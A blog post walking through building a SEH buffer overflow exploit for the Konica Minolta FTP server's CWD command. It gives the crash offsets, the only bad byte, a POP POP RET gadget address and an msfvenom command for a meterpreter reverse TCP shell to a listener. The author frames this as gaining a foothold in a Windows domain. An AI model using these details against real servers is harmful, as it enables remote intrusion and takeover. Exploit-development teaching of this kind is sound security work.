In this post, I will be writing an exploit for the 32-bit versions of the Konica Minolta FTP server for Windows. In a recent post, I left off after the tool’s demonstration, with a port scan finding a Konica Minolta FTP server running on a target workstation that I am planning to attack. Instead of packing all this information into the previous post, I thought I would write new one to explain the exploit development process as well.
My goal with this exploit, would be to find, trigger, and exploit any vulnerabilities that can lead to remote code execution. This will allow me to obtain a further foothold into the Windows AD network.
Because the target workstation is running the Konica Minolta FTP server on a Windows 7 SP1 machine, I will go ahead and setup a 64-bit version of Windows 7 SP1 in VMWare Workstation. Once the machine is setup, I will need to download the Konica Minolta FTP server and install it on both machines.
For the Windows 7 machines I will be downloading the ISO from the mirror here, and creating new Virtual Machines on my VMWare Workstation 15.5 server. After creating the machine, I will make an initial snapshot I can quickly go back to if needed during the debugging process.
For the Konica Minolta FTP server, I was able to find a copy from the website here, and then downloaded the installer on the machine.
For the debugging process, I will install and setup the Immunity Debugger to get a better look at running server process as I am fuzzing it for an overflow. I will also add the mona.py plugin to Immunity to assist in bug discovery.
With the above items setup and installed, I can move on to the next step.
For the fuzzing process, I am going to iterate over a handful of FTP commands to see if any of them are vulnerable to any type of overflow when sending malicious data.
With the Immunity Debugger installed, the next step would be to setup the mona.py plugin to assist in debugging. This is done by downloading the mona.py file from the link above, and place it in your Immunity Debugger pycommands folder. Once the file is in place, restart (or start) the debugger and verify it is running by typing the command below.
Which should present the following output in your ‘Log Data‘ window.
Now that we have mona.py setup to assist with the debugging process, it is a good idea to go ahead and set a ‘Working Directory’ to store all the log files that mona.py will create. We can also add author information at the same time, as seen below.
!mona config -set workingfolder c:\mona_debug_logs\%p !mona config -set author d3d
From this point forward, each time mona.py generates output, it will be organized by folder using instance name for quick review when working with a lot of files.
With the FTP server running, and the Immunity Debugger with mona.py setup, I can go ahead and use Immunity to ‘attach‘ to the running FTP process as seen in the video below.
Once attached, you can see the various windows start to populate with data from the loaded, running application.
For the fuzzing process, I am going to write a python script to iterate over a list of FTP commands, while sending a large payload of bytes as the command input to see if I can trigger the program to crash. On a successful crash, I will examine the crash data to see exactly why it crashed, and to check if there is a vector for attack that I can leverage for a RCE.
The following fuzz script will be using a payload of 2000 ‘A’ characters (41 in hex) to see if any values in memory are overwritten by the payload.
The first two commands I tried (NLST, DIR) both crashed the program, but without overwriting any values that could help advance my position. The exception that occurred was an ‘ORDINAL NOT FOUND’ error, which usually means the application tried to access something in a DLL that either doesn’t exist, or has been moved, so I moved on to the CWD command.
On fuzzing the CWD command, I again crashed the program, but this time it was an ‘ACCESS VIOLATION’ error, which means the application tried to write data to a memory location it did not have access to 0x41414141 (AAAA). On further examination I could see that the payload of 2000 A’s had overwritten a few different values within the applications memory as seen below, however, it did not overwrite the EIP.
Note: EIP is not overwritten as would happen with a typical stack overflow, instead it points to the exception listed in LastErr.
In the image above I can see the exception thrown was of type ‘ERROR_FILENAME_EXCED_RANGE’ which makes sense, since the payload I sent was 2000 characters which clearly exceeds any filename size I have ever seen. However, even though the error was detected, it was still able to overwrite addresses within the registry which means the bounds checking for the CWD user-input is missing or badly written. Because the SEH chain is corrupted by the overwrite, when the exception for the filename being too long is thrown, the address to handle that exception has been overwritten with ‘AAAA’ (0x41414141) and will crash the program with the exact error we initially received, an “ACCESS VIOLATION when writing to 41414141.”
Since I know exactly what addresses within the registry are being overwritten with the previous payload (ECX, ESI, SEH, nSEH), I can generate a cyclic byte pattern from mona.py to use as the new payload in order to find the exact offset each overwritten address is located at. For instance, since the previous payload was nothing but ‘A’ characters, finding the exact offset to each overwritten register is next to impossible, but by using a unique pattern of 2000 bytes, the previously affected registers should now display an address on crash, that contains part of the cyclic pattern, in which I can use mona.py again to find the exact offset.
In order to generate the cyclic byte pattern in mona.py, simply use the following command.
!mona pc 2000
The above command will generate some output in the LogData window as seen below, which verifies the command ran successfully, and also generated a new file called pattern.txt.
As you can see in the above image the output from the command is only partially shown here due to the size, so it prints a few different versions of the cyclic pattern in the pattern.txt file as seen below.
By using the ASCII pattern from the pattern.txt file above, I modified the ftp_fuzz_script.py file as seen below.
After running the new fuzz script, the same ‘ACCESS VIOLATION’ exception has occurred which is good, and the same registers affected by the previous payload, should also be affected by the cyclic one I am using now. In the below image, you can see the values that should contain cyclic pattern bytes based on our last test.
The above image shows the 4 locations that have been overwritten with the new payload and their current values. I need to copy each of these values and make note of which register contains which address (ECX, ESI, SEH, nSEH), so I can use mona.py to compare those register bytes against the pattern to see where in the cyclic pattern those specific bytes occur, which gives the exact offset to that register value on overwrite.
- The current value at ECX and ESI register is 42316A42
- The current value at SEH is 42376942
- The current value at Next SEH is 36694235
To find the offset, you use the following command with mona.py to find all instances of the cyclic pattern in memory.
The above command is telling mona.py to check the entire stack for the cyclic pattern and display every location in which the pattern shows up in memory. After running the above command, you will see a lot of output in the LogData window, showing all the locations in memory the cyclic pattern was discovered and its offset. This will help me not only find the offsets to each register above, it will also find an area large enough to store a exploit payload.
The output mona.py provides has all the offsets needed to write an exploit for this server. The pattern found that the ECX and ESI registers are located at 1053 bytes into the pattern. The nSEH field has been overwritten at offset 1037, which means the SEH is overwritten at offset 1041.
After obtaining the offset data from mona.py, the next step is to track down any “bad characters” within the payload. Bad Characters are bytes that corrupt the payload due to how the target application may be parsing the user-supplied payload data. For instance, the null byte character
\x00 is universally a “bad character”, which will terminate the rest of the application code that follows it in the buffer. These should never be sent in an exploit as part of the payload, however, there are potentially other bad characters that may reside within a target application, which if used in an exploit can mangle the intended shellcode instructions and cause an exploit to fail.
There are no definitive “bad characters”, but there are often common characters that are seen. These can be the Form Feed
\xFF, Line Feed
\x0A, and Carriage Return
\x0D instructions. In order to test for “bad characters”, I will use mona.py to generate a byte array containing all bytes from
\xFF, then write a script to inject the byte array at offset 1057, right after the ECX/ESI register.
In order to generate a byte array, you can use the following command from mona.py, which will create two new files within your working directory called bytearray.txt, and bytearray.bin.
The bytearray.txt file contains the ascii representation of the bad bytes
\x00 - \0xFF, whereas bytearray.bin is the binary representation of the bad bytes array. Both are required in the following steps.
To start the process of detecting bad bytes, I will need to write a new script, called badbytes.py that will use the socket library instead of ftplib to send the payload. This is because ftplib contains exceptions when sending malformed data to the FTP server.
After running the badbytes.py script against the FTP server overflowing and crashing it again, I need to find exactly where the bad bytes array starts in the buffer. This was done by walking down the thread stack until you see the 1057 ‘A’ payload, which is instantly followed by the byte array I am looking for. On inspection however, I could see that the
\x00 byte was a bad byte, due to the fact the entire byte array was missing from the payload. This was actually expected, due to a null byte terminating a string early in this context. Just to verify this, I found the exact address where the byte array was to start, and feed that to mona.py as seen below, to get verification of the bad byte.
!mona compare -f c:\mona_debug_logs\KMFtp\bytearray.bin -a 0241F810
As you can see in the image below, the byte array ended before it ever began due to the null byte at the start of the array itself.
Note: The address 0x0241F810 was the very start of the byte arra.
After determining a null byte can not be used in any exploit payload, I removed the null byte from the byte array in badbytes.py, and also had to remove the
\x00 byte from the mona.py byte array, by re-issuing the following command with the
!mona bytearray -cpb '\x00'
The above command generates a new byte array without the
\x00 byte to store in your working directory, then to continue you re-run the badbytes.py script and repeat the process. Surprisingly enough, the only bad byte detected was the null byte as on the next run using the compare command from above, and the new address for the byte array, I got the following message in the LogData window.
This lets me know that no other characters in the payload were considered “bad characters”, so now that I know what character(s) can not be used within the payload, I am ready to move forward with the SEH overflow to RCE.
The development process for this exploit should be fairly straight forward for a SEH overflow. Since I have control of both the nSEH (offset 1037) and SEH (offset 1041) memory addresses, I can generate an exception by using the FTP CWD command when supplying a very large directory name which then throws the ERROR_FILENAME_EXCED_RANGE exception. When this exception is thrown, the nSEH and SEH values responsible for handling the exception, will redirect to instructions I want to run instead.
For this to work, I need a good location for a
POP POP RET instruction from a module without SAFESEH enabled. Thankfully mona.py contains help for finding such values. The following command will print SEH related information related to possible bypasses in the LogData window.
The above command prints out a lot of output to the LogData windows, and to the seh.txt file in your working directory, as seen below.
The seh.txt file contains a lot of helper instructions for SEH exploit development. The file also lists all the modules without SAFESEH or ASLR enabled which is what we are looking for. I was able to find a
POP POP RET instruction on line 59 in the above file, which is shown below.
0x1220401e : pop ecx # pop esi # ret
The above address will be the value that will go into the SEH handler to ensure the nSEH instruction is sent to EIP for execution due to the
POP POP RET instruction. The registers to which the popped values go (ECX, ESI) are not important for the exploits to succeed, only the fact that ESP is moved towards higher addresses twice (
POP POP) and then a
RET is executed. Each time a
POP <register> occurs, ESP is moved towards higher addresses by one position (1 position = 4 bytes for a 32-bit architecture). Each time a
RET occurs, the contents of the address ESP points at are put in EIP and executed (also ESP is moved, but this is not important here).
POP POP RET instructions execute, the instructions at nSEH will be put into EIP to be executed. Because nSEH only contains 4 bytes, I will add an instruction to jump 16 bytes ahead to where I want to store the shell code. The following diagram is how the attack buffer looks for this exploit.
The shellcode will be placed right after ECX at offset 1057, which is 16 bytes from the nSEH, which contains the
JMP 0xC instruction to jump into the shellcode which will be padded by a NOP (
For the shellcode, I will be using msfvenom to generate a meterpreter payload for a reverse TCP shell. I used the following command to achieve this payload.
msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.148" LPORT=4444 -f py -b '\x00' -e x86/shikata_ga_nai -i 3
I then placed the shellcode produced by the above command into the final exploit code for this FTP server.
With the exploit written, the last thing to do is to spin up Metasploit and setup a listener for this reverse shell, and ensure the exploit works as planned.
With the listener ready, let’s fire up the exploit and see if we get a hit or not…
Viola! I was able to leverage a meterpreter shell using a SEH overflow exploit against the Konica Minolta FTP server. Now that I have a shell on one of the workstations, it is time to attempt some privilege escalation to try and get domain user access… and I will put that in the next post being written now.